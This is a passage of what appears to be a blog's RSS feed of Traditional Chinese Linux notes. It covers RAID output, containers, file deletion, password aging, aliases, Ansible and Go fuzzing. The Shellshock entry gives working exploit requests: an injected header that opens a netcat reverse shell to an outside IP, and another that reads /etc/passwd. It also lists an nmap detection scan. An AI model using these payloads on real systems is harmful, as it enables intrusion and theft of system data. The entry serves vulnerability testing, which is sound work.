&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Name : SEAGATE
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>State : Ready
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Hot Spare Policy violated : Not Assigned
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Encrypted : No
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Layout : RAID-0
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Size : 320.00 GB &lt;span style="color:#f92672">(&lt;/span>&lt;span style="color:#ae81ff">343597383680&lt;/span> bytes&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>T10 Protection Information Status : No
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Associated Fluid Cache State : Not Applicable
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Device Name : /dev/sda
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Bus Protocol : ATA
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Media : HDD
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Read Policy : Adaptive Read Ahead
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Write Policy : Write Back
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Cache Policy : Not Applicable
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Stripe Element Size : &lt;span style="color:#ae81ff">128&lt;/span> KB
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Disk Cache Policy : Enabled
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>測試伺服器是否易受 Shellshock 漏洞影響</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20221128-linux-shellshock-bug/</link><pubDate>Mon, 28 Nov 2022 15:35:30 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20221128-linux-shellshock-bug/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://www.baeldung.com/linux/shellshock-bug" target="_blank" rel="noopener">測試伺服器是否易受 Shellshock 漏洞影響&lt;/a>&lt;/li>
&lt;/ul>
&lt;h5 id="shellshock-漏洞">Shellshock 漏洞&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>env x&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#39; () {:;};&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="利用-shellshock-漏洞">利用 Shellshock 漏洞&lt;/h5>
&lt;ul>
&lt;li>當功能忽略使用者指定的指令，改執行 ForceCommand 的內容時，置換指令就會被執行。&lt;/li>
&lt;li>使用者的原始指令會被放在 &amp;ldquo;SSH_ORIGINAL_COMMAND&amp;rdquo; 環境變數中。若使用者預設 shell 是 Bash，Bash 在啟動時會解析 &amp;ldquo;SSH_ORIGINAL_COMMAND&amp;rdquo; 的值並執行其中的指令。&lt;/li>
&lt;/ul>
&lt;h5 id="shellshock-利用指令範例">Shellshock 利用指令範例&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">## 1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>curl -H &lt;span style="color:#e6db74">&amp;#34;X-Frame-Options: () {:;};echo;/bin/nc -e /bin/bash 192.168.y.y 443&amp;#34;&lt;/span> 192.168.x.y/CGI-bin/hello.cgi
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">## 2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>curl --insecure 192.168.x.x -H &lt;span style="color:#e6db74">&amp;#34;User-Agent: () { :; }; /bin/cat /etc/passwd&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;ul>
&lt;li>使用 nmap 腳本測試漏洞&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>nmap -sV -p- --script http-shellshock 192.168.x.x
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>nmap -sV -p- --script http-shellshock --script-args uri&lt;span style="color:#f92672">=&lt;/span>/cgi-bin/bin,cmd&lt;span style="color:#f92672">=&lt;/span>ls 192.168.x.x
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>從零開始的容器</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20221124-containers-from-scratch/</link><pubDate>Thu, 24 Nov 2022 13:10:14 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20221124-containers-from-scratch/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://ericchiang.github.io/post/containers-from-scratch/" target="_blank" rel="noopener">從零開始的容器&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="容器檔案系統">容器檔案系統&lt;/h3>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ wget https://github.com/ericchiang/containers-from-scratch/releases/download/v0.1.0/rootfs.tar.gz
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ sha256sum rootfs.tar.gz
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>c79bfb46b9cf842055761a49161831aee8f4e667ad9e84ab57ab324a49bc828c rootfs.tar.gz
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ &lt;span style="color:#75715e"># tar needs sudo to create /dev files and setup file ownership&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ sudo tar -zxf rootfs.tar.gz
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ ls rootfs
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>bin dev home lib64 mnt proc run srv tmp var
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>boot etc lib media opt root sbin sys usr
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ ls -al rootfs/bin/ls
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>-rwxr-xr-x. &lt;span style="color:#ae81ff">1&lt;/span> root root &lt;span style="color:#ae81ff">118280&lt;/span> Mar &lt;span style="color:#ae81ff">14&lt;/span> &lt;span style="color:#ae81ff">2015&lt;/span> rootfs/bin/ls
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="chroot">chroot&lt;/h3>
&lt;p>它可以限制某個程序對檔案系統的視野。這裡我們把程序限制在 &amp;ldquo;rootfs&amp;rdquo; 目錄，然後執行一個 shell。&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ sudo chroot rootfs /bin/bash
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>root@localhost:/# ls /
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>bin dev home lib64 mnt proc run srv tmp var
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>boot etc lib media opt root sbin sys usr
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>root@localhost:/# which python
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>/usr/bin/python
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>root@localhost:/# /usr/bin/python -c &lt;span style="color:#e6db74">&amp;#39;print &amp;#34;Hello, container world!&amp;#34;&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Hello, container world!
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>root@localhost:/#
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>當我們執行 Python 直譯器時，實際上是執行 &lt;code>rootfs/usr/bin/python&lt;/code>，而不是宿主機的 Python。&lt;/p></description></item><item><title>如何刪除檔名含有不可列印字元的檔案</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20221114-delete-files-non-printable-characters/</link><pubDate>Mon, 14 Nov 2022 13:55:17 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20221114-delete-files-non-printable-characters/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://www.baeldung.com/linux/delete-files-non-printable-characters" target="_blank" rel="noopener">如何刪除檔名含有不可列印字元的檔案&lt;/a>&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>ls -l
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>total &lt;span style="color:#ae81ff">13&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>-rw-r--r-- &lt;span style="color:#ae81ff">1&lt;/span> ZZ &lt;span style="color:#ae81ff">197121&lt;/span> &lt;span style="color:#ae81ff">4&lt;/span> Nov &lt;span style="color:#ae81ff">6&lt;/span> 07:08 &lt;span style="color:#e6db74">&amp;#39; &amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>-rw-r--r-- &lt;span style="color:#ae81ff">1&lt;/span> ZZ &lt;span style="color:#ae81ff">197121&lt;/span> &lt;span style="color:#ae81ff">162&lt;/span> Apr &lt;span style="color:#ae81ff">16&lt;/span> &lt;span style="color:#ae81ff">2022&lt;/span> &lt;span style="color:#e6db74">&amp;#39;~$iscord.docx&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>-rw-r--r-- &lt;span style="color:#ae81ff">1&lt;/span> ZZ &lt;span style="color:#ae81ff">197121&lt;/span> &lt;span style="color:#ae81ff">6&lt;/span> Nov &lt;span style="color:#ae81ff">6&lt;/span> 06:03 &lt;span style="color:#e6db74">&amp;#39;&amp;#39;$&amp;#39;\302\226&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>-rw-r--r-- &lt;span style="color:#ae81ff">1&lt;/span> ZZ &lt;span style="color:#ae81ff">197121&lt;/span> &lt;span style="color:#ae81ff">4&lt;/span> Nov &lt;span style="color:#ae81ff">6&lt;/span> 06:01 &lt;span style="color:#e6db74">&amp;#39;&amp;#39;$&amp;#39;\302\226&amp;#39;&amp;#39;Λ---ω&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>-rw-r--r-- &lt;span style="color:#ae81ff">1&lt;/span> ZZ &lt;span style="color:#ae81ff">197121&lt;/span> &lt;span style="color:#ae81ff">4&lt;/span> Nov &lt;span style="color:#ae81ff">6&lt;/span> 06:13 &lt;span style="color:#e6db74">&amp;#39;␴?␴??␴??::␴?␴&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>-rw-r--r-- &lt;span style="color:#ae81ff">1&lt;/span> ZZ &lt;span style="color:#ae81ff">197121&lt;/span> &lt;span style="color:#ae81ff">4&lt;/span> Nov &lt;span style="color:#ae81ff">6&lt;/span> 06:12 ␴__␴
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>-rw-r--r-- &lt;span style="color:#ae81ff">1&lt;/span> ZZ &lt;span style="color:#ae81ff">197121&lt;/span> &lt;span style="color:#ae81ff">4&lt;/span> Nov &lt;span style="color:#ae81ff">6&lt;/span> 06:14 ␴␴␴␴␴␴␴␴␴␴␴␴␴␴␴␴␴
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>-rw-r--r-- &lt;span style="color:#ae81ff">1&lt;/span> ZZ &lt;span style="color:#ae81ff">197121&lt;/span> &lt;span style="color:#ae81ff">4&lt;/span> Nov &lt;span style="color:#ae81ff">6&lt;/span> 06:18 &lt;span style="color:#e6db74">&amp;#39;␴ω␴␴␣␦&amp;#39;$&amp;#39;\342\220\264&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>-rw-r--r-- &lt;span style="color:#ae81ff">1&lt;/span> ZZ &lt;span style="color:#ae81ff">197121&lt;/span> &lt;span style="color:#ae81ff">4&lt;/span> Nov &lt;span style="color:#ae81ff">6&lt;/span> 06:16 ␣␣␣␣␣␣␣␣
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>-rw-r--r-- &lt;span style="color:#ae81ff">1&lt;/span> ZZ &lt;span style="color:#ae81ff">197121&lt;/span> &lt;span style="color:#ae81ff">4&lt;/span> Nov &lt;span style="color:#ae81ff">6&lt;/span> 06:26 ␣ μ μ Ω Ω
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>-rw-r--r-- &lt;span style="color:#ae81ff">1&lt;/span> ZZ &lt;span style="color:#ae81ff">197121&lt;/span> &lt;span style="color:#ae81ff">14&lt;/span> Nov &lt;span style="color:#ae81ff">6&lt;/span> 06:23 &lt;span style="color:#e6db74">&amp;#39;␣ μ ␴&amp;#39;$&amp;#39;\342\220\264&amp;#39;&amp;#39;Ξ&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>-rw-r--r-- &lt;span style="color:#ae81ff">1&lt;/span> ZZ &lt;span style="color:#ae81ff">197121&lt;/span> &lt;span style="color:#ae81ff">4&lt;/span> Nov &lt;span style="color:#ae81ff">6&lt;/span> 06:27
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>-rw-r--r-- &lt;span style="color:#ae81ff">1&lt;/span> ZZ &lt;span style="color:#ae81ff">197121&lt;/span> &lt;span style="color:#ae81ff">4&lt;/span> Nov &lt;span style="color:#ae81ff">6&lt;/span> 06:27
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="使用-ansi-c-quoting">使用 ANSI-C Quoting&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Using ANSI-C Quoting&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>rm &lt;span style="color:#e6db74">&amp;#39;&amp;#39;$&amp;#39;\302\226&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># We can also use the $ special character before enclosing the filename in single quotes&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>rm &lt;span style="color:#e6db74">$&amp;#39;\356\200\215&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># pass an item&amp;#39;s name to rm without using the ANSI-C quoting&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>rm &lt;span style="color:#e6db74">&amp;#39;\026\033&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>rm: cannot remove &lt;span style="color:#e6db74">&amp;#39;\026\033&amp;#39;&lt;/span>: No such file or directory
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="使用-inode-編號">使用 Inode 編號&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>ls -li
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>total &lt;span style="color:#ae81ff">11&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">6517085&lt;/span> -rw-r--r-- &lt;span style="color:#ae81ff">1&lt;/span> ZZ &lt;span style="color:#ae81ff">197121&lt;/span> &lt;span style="color:#ae81ff">4&lt;/span> Nov &lt;span style="color:#ae81ff">6&lt;/span> 06:18 &lt;span style="color:#e6db74">&amp;#39;␴ω␴␴␣␦&amp;#39;$&amp;#39;\342\220\264&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">7826050&lt;/span> -rw-r--r-- &lt;span style="color:#ae81ff">1&lt;/span> ZZ &lt;span style="color:#ae81ff">197121&lt;/span> &lt;span style="color:#ae81ff">3&lt;/span> Nov &lt;span style="color:#ae81ff">9&lt;/span> 04:23 &lt;span style="color:#e6db74">&amp;#39;&amp;#39;$&amp;#39;\356\200\215\356\200\215\356\200\215&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">4685554&lt;/span> -rw-r--r-- &lt;span style="color:#ae81ff">1&lt;/span> ZZ &lt;span style="color:#ae81ff">197121&lt;/span> &lt;span style="color:#ae81ff">4&lt;/span> Nov &lt;span style="color:#ae81ff">6&lt;/span> 06:27
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>可以透過 find 的 -inum 參數指定 inode 來刪除檔案。&lt;/p></description></item><item><title>/etc/shadow 與建立 yescrypt、MD5、SHA-256、SHA-512 密碼雜湊</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20221114-shadow-passwords/</link><pubDate>Mon, 14 Nov 2022 12:55:39 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20221114-shadow-passwords/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://www.baeldung.com/linux/shadow-passwords" target="_blank" rel="noopener">/etc/shadow 與建立 yescrypt、MD5、SHA-256、SHA-512 密碼雜湊&lt;/a>&lt;/li>
&lt;/ul>
&lt;h5 id="chage-與密碼期限">chage 與密碼期限&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>chage --list root
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Last password change : Oct 01, &lt;span style="color:#ae81ff">2022&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Password expires : never
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Password inactive : never
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Account expires : never
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Minimum number of days between password change : &lt;span style="color:#ae81ff">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Maximum number of days between password change : &lt;span style="color:#ae81ff">99999&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Number of days of warning before password expires : &lt;span style="color:#ae81ff">7&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>因此，我們可以用對應的旗標修改各欄位：&lt;/p>
&lt;ul>
&lt;li>&lt;code>-d&lt;/code> 或 &lt;code>--lastday&lt;/code>：最後變更日期&lt;/li>
&lt;li>&lt;code>-m&lt;/code> 或 &lt;code>--mindays&lt;/code>：變更密碼最少間隔天數&lt;/li>
&lt;li>&lt;code>-M&lt;/code> 或 &lt;code>--maxdays&lt;/code>：密碼最大有效天數&lt;/li>
&lt;li>&lt;code>-W&lt;/code> 或 &lt;code>--warndays&lt;/code>：到期前警告天數&lt;/li>
&lt;li>&lt;code>-I&lt;/code> 或 &lt;code>--inactive&lt;/code>：密碼失效天數&lt;/li>
&lt;li>&lt;code>-E&lt;/code> 或 &lt;code>--expiredate&lt;/code>：帳號過期日期&lt;/li>
&lt;/ul>
&lt;h5 id="chpasswd-與密碼">chpasswd 與密碼&lt;/h5>
&lt;p>&lt;code>echo 'user1:PASSWORD' | chpasswd --crypt-method SHA512&lt;/code>&lt;/p></description></item><item><title>如何在別名指令上使用 which</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20221110-which-on-an-aliased-command/</link><pubDate>Thu, 10 Nov 2022 16:24:30 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20221110-which-on-an-aliased-command/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://www.baeldung.com/linux/which-on-an-aliased-command" target="_blank" rel="noopener">如何在別名指令上使用 which&lt;/a>&lt;/li>
&lt;/ul>
&lt;h5 id="type">type&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>type grep
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>grep is an alias &lt;span style="color:#66d9ef">for&lt;/span> grep --color&lt;span style="color:#f92672">=&lt;/span>auto
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Bash&amp;#39;s type&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>type -P grep
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>/usr/bin/grep
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Zsh&amp;#39;s type&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>type -p grep
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>grep is /usr/bin/grep
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="gnu-which">GNU which&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>which -a which
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>which: shell built-in command
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>/usr/bin/which
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>alias top10
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>top10&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#39;print -l ${(o)history%% *} | uniq -c | sort -nr | head -n 10&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>alias | /usr/bin/which -i top10
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>top10&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#39;print -l ${(o)history%% *} | uniq -c | sort -nr | head -n 10&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> /usr/bin/uniq
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> /usr/bin/sort
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> /usr/bin/head
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>將指令輸出轉為圖片</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20221110-tip-command-output-to-image/</link><pubDate>Thu, 10 Nov 2022 16:13:04 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20221110-tip-command-output-to-image/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://ansible.cloudns.pro/post/tips/tip-command-output-to-image/" target="_blank" rel="noopener">將指令輸出轉為圖片&lt;/a>&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-yaml" data-lang="yaml">&lt;span style="display:flex;">&lt;span>---
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>- &lt;span style="color:#f92672">name&lt;/span>: &lt;span style="color:#ae81ff">Capture command output and convert to image&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">hosts&lt;/span>: &lt;span style="color:#ae81ff">all&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">tasks&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#f92672">name&lt;/span>: &lt;span style="color:#ae81ff">Display content of /etc/redhat-release&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">shell&lt;/span>: &lt;span style="color:#ae81ff">cat /etc/redhat-release&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">register&lt;/span>: &lt;span style="color:#ae81ff">redhat_release_result&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#f92672">name&lt;/span>: &lt;span style="color:#ae81ff">hostname&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">shell&lt;/span>: &lt;span style="color:#ae81ff">hostname&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">register&lt;/span>: &lt;span style="color:#ae81ff">hostname_result&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># 可以使用 ImageMagick 來轉換文字為圖片&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#f92672">name&lt;/span>: &lt;span style="color:#ae81ff">Convert command output as image&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">shell&lt;/span>: &lt;span style="color:#ae81ff">echo -e &amp;#34;{{ hostname_result.stdout }}\n{{ redhat_release_result.stdout }}&amp;#34; | convert label:@- {{ hostname_result.stdout }}.png&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">delegate_to&lt;/span>: &lt;span style="color:#ae81ff">localhost&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>善用 Go Fuzzing，幫助你寫出更完整的單元測試</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20221103-utilize-go-fuzzing-to-write-better-unit-tests/</link><pubDate>Thu, 03 Nov 2022 16:57:29 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20221103-utilize-go-fuzzing-to-write-better-unit-tests/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://medium.com/starbugs/utilize-go-fuzzing-to-write-better-unit-tests-80bd37cd4e38" target="_blank" rel="noopener">善用 Go Fuzzing，幫助你寫出更完整的單元測試&lt;/a>&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">Pow&lt;/span>(&lt;span style="color:#a6e22e">base&lt;/span> &lt;span style="color:#66d9ef">uint&lt;/span>, &lt;span style="color:#a6e22e">exponent&lt;/span> &lt;span style="color:#66d9ef">uint&lt;/span>) &lt;span style="color:#66d9ef">uint&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">exponent&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
